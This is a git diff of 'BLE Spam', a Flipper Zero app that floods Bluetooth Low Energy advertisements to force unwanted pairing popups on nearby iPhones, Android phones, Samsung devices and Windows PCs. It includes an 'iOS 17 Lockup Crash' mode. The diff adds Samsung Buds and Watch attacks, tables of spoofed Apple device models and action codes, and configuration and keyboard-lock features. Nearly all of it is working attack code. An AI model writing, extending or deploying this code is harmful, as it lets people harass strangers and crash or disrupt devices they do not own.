diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index d66dbeb14..532a55cfb 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="2.0", + fap_version="3.3", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 931bd9505..b3edf165f 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -1,26 +1,20 @@ +#include "ble_spam.h" #include #include #include -#include "protocols/_registry.h" +#include "protocols/_protocols.h" // Hacked together by @Willy-JL // Custom adv API by @Willy-JL (idea by @xMasterX) // iOS 17 Crash by @ECTO-1A -// Android and Windows Pairs by @Spooks4576 and @ECTO-1A +// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam -typedef struct { - const char* title; - const char* text; - const BleSpamProtocol* protocol; - BleSpamPayload payload; -} Attack; - static Attack attacks[] = { { - .title = "+ Kitchen Sink", + .title = "The Kitchen Sink", .text = "Flood all attacks at once", .protocol = NULL, .payload = @@ -32,7 +26,7 @@ static Attack attacks[] = { { .title = "iOS 17 Lockup Crash", .text = "Newer iPhones, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -49,7 +43,7 @@ static Attack attacks[] = { { .title = "Apple Action Modal", .text = "Lock cooldown, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -66,7 +60,7 @@ static Attack attacks[] = { { .title = "Apple Device Popup", .text = "No cooldown, close range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -81,9 +75,9 @@ static Attack attacks[] = { }, }, { - .title = "Android Device Pair", + .title = "Android Device Connect", .text = "Reboot cooldown, long range", - .protocol = &ble_spam_protocol_fastpair, + .protocol = &protocol_fastpair, .payload = { .random_mac = true, @@ -93,10 +87,44 @@ static Attack attacks[] = { }, }, }, + { + .title = "Samsung Buds Popup", + .text = "No cooldown, long range", + .protocol = &protocol_easysetup, + .payload = + { + .random_mac = true, + .cfg = + { + .easysetup = + { + .type = EasysetupTypeBuds, + .data = {}, + }, + }, + }, + }, + { + .title = "Samsung Watch Pair", + .text = "No cooldown, long range", + .protocol = &protocol_easysetup, + .payload = + { + .random_mac = true, + .cfg = + { + .easysetup = + { + .type = EasysetupTypeWatch, + .data = {}, + }, + }, + }, + }, { .title = "Windows Device Found", - .text = "Requires enabling SwiftPair", - .protocol = &ble_spam_protocol_swiftpair, + .text = "No cooldown, short range", + .protocol = &protocol_swiftpair, .payload = { .random_mac = true, @@ -108,11 +136,17 @@ static Attack attacks[] = { }, }; -#define ATTACK_COUNT ((signed)COUNT_OF(attacks)) +#define ATTACKS_COUNT ((signed)COUNT_OF(attacks)) -uint16_t delays[] = {20, 50, 100, 200}; +static uint16_t delays[] = {20, 50, 100, 200}; typedef struct { + Ctx ctx; + View* main_view; + bool lock_warning; + uint8_t lock_count; + FuriTimer* lock_timer; + bool resume; bool advertising; uint8_t delay; @@ -120,22 +154,43 @@ typedef struct { int8_t index; } State; -static int32_t adv_thread(void* ctx) { - State* state = ctx; +NotificationMessage blink_message = { + .type = NotificationMessageTypeLedBlinkStart, + .data.led_blink.color = LightBlue | LightGreen, + .data.led_blink.on_time = 10, + .data.led_blink.period = 100, +}; +const NotificationSequence blink_sequence = { + &blink_message, + &message_do_not_reset, + NULL, +}; +static void start_blink(State* state) { + uint16_t period = delays[state->delay]; + if(period <= 100) period += 30; + blink_message.data.led_blink.period = period; + notification_message_block(state->ctx.notification, &blink_sequence); +} +static void stop_blink(State* state) { + notification_message_block(state->ctx.notification, &sequence_blink_stop); +} + +static int32_t adv_thread(void* _ctx) { + State* state = _ctx; uint8_t size; uint16_t delay; uint8_t* packet; uint8_t mac[GAP_MAC_ADDR_SIZE]; - BleSpamPayload* payload = &attacks[state->index].payload; - const BleSpamProtocol* protocol = attacks[state->index].protocol; + Payload* payload = &attacks[state->index].payload; + const Protocol* protocol = attacks[state->index].protocol; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + if(state->ctx.led_indicator) start_blink(state); while(state->advertising) { if(protocol) { protocol->make_packet(&size, &packet, &payload->cfg); } else { - ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet( - &size, &packet, NULL); + protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL); } furi_hal_bt_custom_adv_set(packet, size); free(packet); @@ -147,6 +202,7 @@ static int32_t adv_thread(void* ctx) { furi_hal_bt_custom_adv_stop(); } + if(state->ctx.led_indicator) stop_blink(state); return 0; } @@ -157,28 +213,33 @@ static void toggle_adv(State* state) { furi_thread_join(state->thread); if(state->resume) furi_hal_bt_start_advertising(); } else { + state->advertising = true; state->resume = furi_hal_bt_is_active(); furi_hal_bt_stop_advertising(); - state->advertising = true; furi_thread_start(state->thread); } } -#define PAGE_MIN (-3) -#define PAGE_MAX ATTACK_COUNT +#define PAGE_MIN (-4) +#define PAGE_MAX ATTACKS_COUNT enum { PageHelpApps = PAGE_MIN, PageHelpDelay, PageHelpDistance, + PageHelpInfoConfig, PageStart = 0, - PageEnd = ATTACK_COUNT - 1, + PageEnd = ATTACKS_COUNT - 1, PageAboutCredits = PAGE_MAX, }; -static void draw_callback(Canvas* canvas, void* ctx) { - State* state = ctx; +static void draw_callback(Canvas* canvas, void* _ctx) { + State* state = *(State**)_ctx; const char* back = "Back"; const char* next = "Next"; + if(state->index < 0) { + back = "Next"; + next = "Back"; + } switch(state->index) { case PageStart - 1: next = "Spam"; @@ -195,12 +256,12 @@ static void draw_callback(Canvas* canvas, void* ctx) { } const Attack* attack = - (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; - const BleSpamPayload* payload = attack ? &attack->payload : NULL; - const BleSpamProtocol* protocol = attack ? attack->protocol : NULL; + (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL; + const Payload* payload = attack ? &attack->payload : NULL; + const Protocol* protocol = attack ? attack->protocol : NULL; canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); + canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam); canvas_draw_str(canvas, 14, 12, "BLE Spam"); switch(state->index) { @@ -247,9 +308,25 @@ static void draw_callback(Canvas* canvas, void* ctx) { 48, AlignLeft, AlignTop, - "\e#Distance\e# is limited, attacks\n" - "work under 1 meter but a\n" - "few are marked 'long range'", + "\e#Distance\e# varies greatly:\n" + "some are long range (>30 m)\n" + "others are close range (<1 m)", + false); + break; + case PageHelpInfoConfig: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "See \e#more info\e# and change\n" + "\e#attack options\e# by holding\n" + "Ok on each attack page", false); break; case PageAboutCredits: @@ -266,11 +343,15 @@ static void draw_callback(Canvas* canvas, void* ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#2.0\e#", + " Version \e#3.3\e#", false); break; default: { if(!attack) break; + if(state->ctx.lock_keyboard && !state->advertising) { + // Forgive me Lord for I have sinned by handling state in draw + toggle_adv(state); + } char str[32]; canvas_set_font(canvas, FontBatteryPercent); @@ -285,12 +366,12 @@ static void draw_callback(Canvas* canvas, void* ctx) { sizeof(str), "%02i/%02i: %s", state->index + 1, - ATTACK_COUNT, - protocol ? protocol->get_name(&payload->cfg) : "Everything"); + ATTACKS_COUNT, + protocol ? protocol->get_name(&payload->cfg) : "Everything AND"); canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 32, attack->title); + canvas_draw_str(canvas, 4, 33, attack->title); canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 4, 46, attack->text); @@ -306,50 +387,68 @@ static void draw_callback(Canvas* canvas, void* ctx) { if(state->index < PAGE_MAX) { elements_button_right(canvas, next); } -} -static void input_callback(InputEvent* input, void* ctx) { - FuriMessageQueue* input_queue = ctx; - if(input->type == InputTypeShort || input->type == InputTypeLong || - input->type == InputTypeRepeat) { - furi_message_queue_put(input_queue, input, 0); + if(state->lock_warning) { + canvas_set_font(canvas, FontSecondary); + elements_bold_rounded_frame(canvas, 14, 8, 99, 48); + elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); + canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42); + canvas_draw_dot(canvas, 17, 61); } } -int32_t ble_spam(void* p) { - UNUSED(p); - State* state = malloc(sizeof(State)); - state->thread = furi_thread_alloc(); - furi_thread_set_callback(state->thread, adv_thread); - furi_thread_set_context(state->thread, state); - furi_thread_set_stack_size(state->thread, 4096); +static bool input_callback(InputEvent* input, void* _ctx) { + View* view = _ctx; + State* state = *(State**)view_get_model(view); + bool consumed = false; - FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - ViewPort* view_port = view_port_alloc(); - Gui* gui = furi_record_open(RECORD_GUI); - view_port_input_callback_set(view_port, input_callback, input_queue); - view_port_draw_callback_set(view_port, draw_callback, state); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); + if(state->ctx.lock_keyboard) { + consumed = true; + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = true; }, true); + if(state->lock_count == 0) { + furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000)); + } + if(input->type == InputTypeShort && input->key == InputKeyBack) { + state->lock_count++; + } + if(state->lock_count >= 3) { + furi_timer_start(state->lock_timer, 1); + } + } else if( + input->type == InputTypeShort || input->type == InputTypeLong || + input->type == InputTypeRepeat) { + consumed = true; - bool running = true; - while(running) { - InputEvent input; - furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); - - bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1; + bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1; bool advertising = state->advertising; - switch(input.key) { + + switch(input->key) { case InputKeyOk: - if(is_attack) toggle_adv(state); + if(is_attack) { + if(input->type == InputTypeLong) { + if(advertising) toggle_adv(state); + state->ctx.attack = &attacks[state->index]; + scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0); + scene_manager_next_scene(state->ctx.scene_manager, SceneConfig); + } else if(input->type == InputTypeShort) { + toggle_adv(state); + } + } break; case InputKeyUp: if(is_attack && state->delay < COUNT_OF(delays) - 1) { state->delay++; + if(advertising) start_blink(state); } break; case InputKeyDown: if(is_attack && state->delay > 0) { state->delay--; + if(advertising) start_blink(state); } break; case InputKeyLeft: @@ -366,20 +465,104 @@ int32_t ble_spam(void* p) { break; case InputKeyBack: if(advertising) toggle_adv(state); - running = false; + consumed = false; break; default: - continue; + break; } - - view_port_update(view_port); } - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(input_queue); + view_commit_model(view, consumed); + return consumed; +} +static void lock_timer_callback(void* _ctx) { + State* state = _ctx; + if(state->lock_count < 3) { + notification_message_block(state->ctx.notification, &sequence_display_backlight_off); + } else { + state->ctx.lock_keyboard = false; + } + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = false; }, true); + state->lock_count = 0; +} + +static bool back_event_callback(void* _ctx) { + Ctx* ctx = _ctx; + return scene_manager_handle_back_event(ctx->scene_manager); +} + +int32_t ble_spam(void* p) { + UNUSED(p); + State* state = malloc(sizeof(State)); + state->thread = furi_thread_alloc(); + furi_thread_set_callback(state->thread, adv_thread); + furi_thread_set_context(state->thread, state); + furi_thread_set_stack_size(state->thread, 4096); + state->ctx.led_indicator = true; + state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state); + + state->ctx.notification = furi_record_open(RECORD_NOTIFICATION); + Gui* gui = furi_record_open(RECORD_GUI); + state->ctx.view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(state->ctx.view_dispatcher); + view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx); + view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback); + state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx); + + state->main_view = view_alloc(); + view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*)); + with_view_model( + state->main_view, State * *model, { *model = state; }, false); + view_set_context(state->main_view, state->main_view); + view_set_draw_callback(state->main_view, draw_callback); + view_set_input_callback(state->main_view, input_callback); + view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view); + + state->ctx.byte_input = byte_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input)); + + state->ctx.submenu = submenu_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu)); + + state->ctx.text_input = text_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input)); + + state->ctx.variable_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, + ViewVariableItemList, + variable_item_list_get_view(state->ctx.variable_item_list)); + + view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen); + scene_manager_next_scene(state->ctx.scene_manager, SceneMain); + view_dispatcher_run(state->ctx.view_dispatcher); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput); + byte_input_free(state->ctx.byte_input); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu); + submenu_free(state->ctx.submenu); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput); + text_input_free(state->ctx.text_input); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList); + variable_item_list_free(state->ctx.variable_item_list); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); + view_free(state->main_view); + + scene_manager_free(state->ctx.scene_manager); + view_dispatcher_free(state->ctx.view_dispatcher); + furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); + + furi_timer_free(state->lock_timer); furi_thread_free(state->thread); free(state); return 0; diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h new file mode 100644 index 000000000..6be71147e --- /dev/null +++ b/applications/external/ble_spam/ble_spam.h @@ -0,0 +1,44 @@ +#pragma once + +#include +#include +#include +#include +#include +#include + +#include "scenes/_setup.h" + +enum { + ViewMain, + ViewByteInput, + ViewSubmenu, + ViewTextInput, + ViewVariableItemList, +}; + +enum { + ConfigRandomMac, + ConfigExtraStart = ConfigRandomMac, + ConfigLedIndicator, + ConfigLockKeyboard, +}; + +typedef struct Attack Attack; + +typedef struct { + Attack* attack; + uint8_t byte_store[3]; + VariableItemListEnterCallback fallback_config_enter; + bool led_indicator; + bool lock_keyboard; + + NotificationApp* notification; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + + ByteInput* byte_input; + Submenu* submenu; + TextInput* text_input; + VariableItemList* variable_item_list; +} Ctx; diff --git a/applications/external/ble_spam/icons/ble.png b/applications/external/ble_spam/icons/ble_spam.png similarity index 56% rename from applications/external/ble_spam/icons/ble.png rename to applications/external/ble_spam/icons/ble_spam.png index f5cf3880b..40a2b8859 100644 Binary files a/applications/external/ble_spam/icons/ble.png and b/applications/external/ble_spam/icons/ble_spam.png differ diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index 280111515..6f32b9990 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -8,11 +8,14 @@ #include "ble_spam_icons.h" #include #include +#include "../ble_spam.h" -typedef union BleSpamProtocolCfg BleSpamProtocolCfg; +typedef union ProtocolCfg ProtocolCfg; typedef struct { const Icon* icon; - const char* (*get_name)(const BleSpamProtocolCfg* _cfg); - void (*make_packet)(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg); -} BleSpamProtocol; + const char* (*get_name)(const ProtocolCfg* _cfg); + void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); + void (*extra_config)(Ctx* ctx); + uint8_t (*config_count)(const ProtocolCfg* _cfg); +} Protocol; diff --git a/applications/external/ble_spam/protocols/_protocols.c b/applications/external/ble_spam/protocols/_protocols.c new file mode 100644 index 000000000..a40b60497 --- /dev/null +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -0,0 +1,10 @@ +#include "_protocols.h" + +const Protocol* protocols[] = { + &protocol_continuity, + &protocol_fastpair, + &protocol_easysetup, + &protocol_swiftpair, +}; + +const size_t protocols_count = COUNT_OF(protocols); diff --git a/applications/external/ble_spam/protocols/_protocols.h b/applications/external/ble_spam/protocols/_protocols.h new file mode 100644 index 000000000..4e646eefb --- /dev/null +++ b/applications/external/ble_spam/protocols/_protocols.h @@ -0,0 +1,29 @@ +#pragma once + +#include "continuity.h" +#include "fastpair.h" +#include "easysetup.h" +#include "swiftpair.h" + +union ProtocolCfg { + ContinuityCfg continuity; + FastpairCfg fastpair; + EasysetupCfg easysetup; + SwiftpairCfg swiftpair; +}; + +extern const Protocol* protocols[]; + +extern const size_t protocols_count; + +typedef struct { + bool random_mac; + ProtocolCfg cfg; +} Payload; + +struct Attack { + const char* title; + const char* text; + const Protocol* protocol; + Payload payload; +}; diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c deleted file mode 100644 index 3d334fa14..000000000 --- a/applications/external/ble_spam/protocols/_registry.c +++ /dev/null @@ -1,9 +0,0 @@ -#include "_registry.h" - -const BleSpamProtocol* ble_spam_protocols[] = { - &ble_spam_protocol_continuity, - &ble_spam_protocol_fastpair, - &ble_spam_protocol_swiftpair, -}; - -const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols); diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h deleted file mode 100644 index cca571a5b..000000000 --- a/applications/external/ble_spam/protocols/_registry.h +++ /dev/null @@ -1,20 +0,0 @@ -#pragma once - -#include "continuity.h" -#include "fastpair.h" -#include "swiftpair.h" - -union BleSpamProtocolCfg { - ContinuityCfg continuity; - FastpairCfg fastpair; - SwiftpairCfg swiftpair; -}; - -extern const BleSpamProtocol* ble_spam_protocols[]; - -extern const size_t ble_spam_protocols_count; - -typedef struct { - bool random_mac; - BleSpamProtocolCfg cfg; -} BleSpamPayload; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h new file mode 100644 index 000000000..83c192d65 --- /dev/null +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -0,0 +1,4 @@ +#include "continuity_scenes.h" +#include "fastpair_scenes.h" +#include "easysetup_scenes.h" +#include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index b52f45a5f..4b29683ab 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -1,28 +1,83 @@ #include "continuity.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL // iOS 17 Crash by @ECTO-1A // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -static const char* type_names[ContinuityTypeCount] = { +const struct { + uint16_t value; + const char* name; +} pp_models[] = { + {0x0E20, "AirPods Pro"}, + {0x0620, "Beats Solo 3"}, + {0x0A20, "AirPods Max"}, + {0x1020, "Beats Flex"}, + {0x0055, "Airtag"}, + {0x0030, "Hermes Airtag"}, + {0x0220, "AirPods"}, + {0x0F20, "AirPods 2nd Gen"}, + {0x1320, "AirPods 3rd Gen"}, + {0x1420, "AirPods Pro 2nd Gen"}, + {0x0320, "Powerbeats 3"}, + {0x0B20, "Powerbeats Pro"}, + {0x0C20, "Beats Solo Pro"}, + {0x1120, "Beats Studio Buds"}, + {0x0520, "Beats X"}, + {0x0920, "Beats Studio 3"}, + {0x1720, "Beats Studio Pro"}, + {0x1220, "Beats Fit Pro"}, + {0x1620, "Beats Studio Buds+"}, +}; +const uint8_t pp_models_count = COUNT_OF(pp_models); + +const struct { + uint8_t value; + const char* name; +} pp_prefixes[] = { + {0x01, "New Device"}, + {0x07, "Not Your Device"}, + {0x05, "New Airtag"}, +}; +const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes); + +const struct { + uint8_t value; + const char* name; +} na_actions[] = { + {0x13, "AppleTV AutoFill"}, + {0x27, "AppleTV Connecting..."}, + {0x20, "Join This AppleTV?"}, + {0x19, "AppleTV Audio Sync"}, + {0x1E, "AppleTV Color Balance"}, + {0x09, "Setup New iPhone"}, + {0x02, "Transfer Phone Number"}, + {0x0B, "HomePod Setup"}, + {0x01, "Setup New AppleTV"}, + {0x06, "Pair AppleTV"}, + {0x0D, "HomeKit AppleTV Setup"}, + {0x2B, "AppleID for AppleTV?"}, +}; +const uint8_t na_actions_count = COUNT_OF(na_actions); + +static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = "AirDrop", - [ContinuityTypeProximityPair] = "Proximity Pair", + [ContinuityTypeProximityPair] = "Continuity Pair", [ContinuityTypeAirplayTarget] = "Airplay Target", [ContinuityTypeHandoff] = "Handoff", [ContinuityTypeTetheringSource] = "Tethering Source", - [ContinuityTypeNearbyAction] = "Nearby Action", + [ContinuityTypeNearbyAction] = "Continuity Action", [ContinuityTypeNearbyInfo] = "Nearby Info", - [ContinuityTypeCustomCrash] = "Custom Packet", + [ContinuityTypeCustomCrash] = "Continuity Custom", }; -const char* continuity_get_name(const BleSpamProtocolCfg* _cfg) { +static const char* continuity_get_name(const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = &_cfg->continuity; return type_names[cfg->type]; } #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size -static uint8_t packet_sizes[ContinuityTypeCount] = { +static uint8_t packet_sizes[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = HEADER_LEN + 18, [ContinuityTypeProximityPair] = HEADER_LEN + 25, [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, @@ -32,8 +87,7 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; - -void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; ContinuityType type; @@ -88,28 +142,7 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt if(cfg && cfg->data.proximity_pair.model != 0x0000) { model = cfg->data.proximity_pair.model; } else { - const uint16_t models[] = { - 0x0E20, // AirPods Pro - 0x0620, // Beats Solo 3 - 0x0A20, // AirPods Max - 0x1020, // Beats Flex - 0x0055, // Airtag - 0x0030, // Hermes Airtag - 0x0220, // AirPods - 0x0F20, // AirPods 2nd Gen - 0x1320, // AirPods 3rd Gen - 0x1420, // AirPods Pro 2nd Gen - 0x0320, // Powerbeats 3 - 0x0B20, // Powerbeats Pro - 0x0C20, // Beats Solo Pro - 0x1120, // Beats Studio Buds - 0x0520, // Beats X - 0x0920, // Beats Studio 3 - 0x1720, // Beats Studio Pro - 0x1220, // Beats Fit Pro - 0x1620, // Beats Studio Buds+ - }; - model = models[rand() % COUNT_OF(models)]; + model = pp_models[rand() % pp_models_count].value; } uint8_t prefix; @@ -176,37 +209,23 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt case ContinuityTypeNearbyAction: { uint8_t action; - if(cfg && cfg->data.nearby_action.type != 0x00) { - action = cfg->data.nearby_action.type; + if(cfg && cfg->data.nearby_action.action != 0x00) { + action = cfg->data.nearby_action.action; } else { - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - action = actions[rand() % COUNT_OF(actions)]; + action = na_actions[rand() % na_actions_count].value; } - uint8_t flag; + uint8_t flags; if(cfg && cfg->data.nearby_action.flags != 0x00) { - flag = cfg->data.nearby_action.flags; + flags = cfg->data.nearby_action.flags; } else { - flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' } - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; break; @@ -224,31 +243,16 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt case ContinuityTypeCustomCrash: { // Found by @ECTO-1A - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - uint8_t action = actions[rand() % COUNT_OF(actions)]; - - uint8_t flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + uint8_t action = na_actions[rand() % na_actions_count].value; + uint8_t flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' i -= 2; // Override segment header packet[i++] = ContinuityTypeNearbyAction; // Continuity Type packet[i++] = 0x05; // Continuity Size - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; @@ -269,8 +273,534 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_continuity = { +enum { + _ConfigPpExtraStart = ConfigExtraStart, + ConfigPpModel, + ConfigPpPrefix, + ConfigPpCOUNT, +}; +enum { + _ConfigNaExtraStart = ConfigExtraStart, + ConfigNaAction, + ConfigNaFlags, + ConfigNaCOUNT, +}; +enum { + _ConfigCcExtraStart = ConfigExtraStart, + ConfigCcInfoLock, + ConfigCcInfoDevice, + ConfigCcCOUNT, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(cfg->type) { + case ContinuityTypeProximityPair: { + switch(index) { + case ConfigPpModel: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel); + break; + case ConfigPpPrefix: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case ContinuityTypeNearbyAction: { + switch(index) { + case ConfigNaAction: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction); + break; + case ConfigNaFlags: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case ContinuityTypeCustomCrash: { + switch(index) { + case ConfigCcInfoLock: + case ConfigCcInfoDevice: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void pp_model_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.proximity_pair.model = pp_models[index].value; + variable_item_set_current_value_text(item, pp_models[index].name); + } else { + cfg->data.proximity_pair.model = 0x0000; + variable_item_set_current_value_text(item, "Random"); + } +} +static void pp_prefix_changed(VariableItem* 